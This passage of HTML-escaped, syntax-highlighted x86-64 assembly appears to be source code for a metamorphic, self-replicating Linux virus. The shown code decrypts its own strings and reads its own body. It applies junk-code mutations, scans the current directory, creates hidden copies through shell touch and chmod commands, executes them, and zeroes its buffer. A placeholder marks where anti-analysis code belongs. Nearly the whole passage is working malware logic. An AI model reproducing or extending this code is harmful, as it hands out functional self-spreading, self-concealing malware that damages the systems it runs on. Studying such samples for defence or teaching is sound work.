    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_percent&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_string:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.use_arg1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;                &lt;span class="c1"&gt;; second arg&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.do_cp&lt;/span&gt;
&lt;span class="nl"&gt;.use_arg1:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;                &lt;span class="c1"&gt;; first arg&lt;/span&gt;
&lt;span class="nl"&gt;.do_cp:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
&lt;span class="nl"&gt;.str_cp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.str_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.str_cp&lt;/span&gt;

&lt;span class="nl"&gt;.str_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;system_call:&lt;/span&gt;                    &lt;span class="c1"&gt;; execute shell&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_fork&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.child_process&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_wait4&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.child_process:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_execve&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;shell_path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;;  entry point&lt;/span&gt;
&lt;span class="nl"&gt;_start:&lt;/span&gt;
    &lt;span class="c1"&gt;; anti goes here&lt;/span&gt;
    &lt;span class="c1"&gt;;avant:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_str&lt;/span&gt;   &lt;span class="c1"&gt;; Decrypt all&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_getrandom&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge_val&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;execute&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="c1"&gt;; Read our own code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_code&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_mutation&lt;/span&gt;

    &lt;span class="c1"&gt;; Apply mutations&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;replace_junk&lt;/span&gt;

&lt;span class="nl"&gt;.skip_mutation:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;current_dir&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;list&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.exec_theone&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.orig_name_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

&lt;span class="nl"&gt;.orig_name_ok:&lt;/span&gt;
    &lt;span class="c1"&gt;; Build hidden name for the chosen one&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Create touch command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

    &lt;span class="c1"&gt;; Create chmod command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Reuse first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_chmod_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.exec_theone:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strstr&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.killme&lt;/span&gt;

    &lt;span class="c1"&gt;; Build hidden name and execute it&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Use second half for hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Create exec command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.killme:&lt;/span&gt;
    &lt;span class="c1"&gt;; Clean up any leftovers&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;zero0ut&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;zero0ut:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

